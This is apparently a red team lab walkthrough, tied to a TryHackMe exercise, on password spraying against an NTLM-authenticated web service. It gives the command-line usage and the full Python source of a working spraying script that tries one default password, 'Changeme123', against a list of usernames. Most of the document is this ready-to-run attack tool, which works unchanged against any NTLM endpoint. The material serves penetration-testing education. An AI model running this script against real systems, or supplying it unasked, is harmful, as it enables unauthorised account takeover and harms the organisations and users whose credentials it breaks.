Password Spraying on NTLM Authenticated Services

Find a list of usernames discovered during a red team OSINT exercise. The OSINT exercise also indicated the organisation's initial onboarding password, which seems to be "Changeme123". Although users should always change their initial password, we know that users often forget. We will be using a custom-developed script to stage a password spraying against the web application

Password Spraying on NTLM Authenticated Services via web

python ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>

We provide the following values for each of the parameters:

• <userfile> - Textfile containing our usernames - "usernames.txt"

• <fqdn> - Fully qualified domain name associated with the organisation that we are attacking - "za.tryhackme.com"

• <password> - The password we want to use for our spraying attack - "Changeme123"

• <attackurl> - The URL of the application that supports Windows Authentication - "http://ntlmauth.za.tryhackme.com"

ntlm_passwordspray.py

#!/usr/bin/python3

import requests
from requests_ntlm import HttpNtlmAuth
import sys, getopt

class NTLMSprayer:
    def __init__(self, fqdn):
        self.HTTP_AUTH_FAILED_CODE = 401
        self.HTTP_AUTH_SUCCEED_CODE = 200
        self.verbose = True
        self.fqdn = fqdn

    def load_users(self, userfile):
        self.users = []
        lines = open(userfile, 'r').readlines()
        for line in lines:
            self.users.append(line.replace("\r", "").replace("\n", ""))

    def password_spray(self, password, url):
        print ("[*] Starting passwords spray attack using the following password: " + password)
        count = 0
        for user in self.users:
            response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
            if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
                print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
                count += 1
                continue
            if (self.verbose):
                if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
                    print ("[-] Failed login with Username: " + user)
        print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")

def main(argv):
    userfile = ''
    fqdn = ''
    password = ''
    attackurl = ''

    try:
        opts, args = getopt.getopt(argv, "hu:f:p:a:", ["userfile=", "fqdn=", "password=", "attackurl="])
    except getopt.GetoptError:
        print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
        sys.exit(2)

    for opt, arg in opts:
        if opt == '-h':
            print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
            sys.exit()
        elif opt in ("-u", "--userfile"):
            userfile = str(arg)
        elif opt in ("-f", "--fqdn"):
            fqdn = str(arg)
        elif opt in ("-p", "--password"):
            password = str(arg)
        elif opt in ("-a", "--attackurl"):
            attackurl = str(arg)

    if (len(userfile) > 0 and len(fqdn) > 0 and len(password) > 0 and len(attackurl) > 0):
        #Start attack
        sprayer = NTLMSprayer(fqdn)
        sprayer.load_users(userfile)
        sprayer.password_spray(password, attackurl)
        sys.exit()
    else:
        print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
        sys.exit(2)



if __name__ == "__main__":
    main(sys.argv[1:])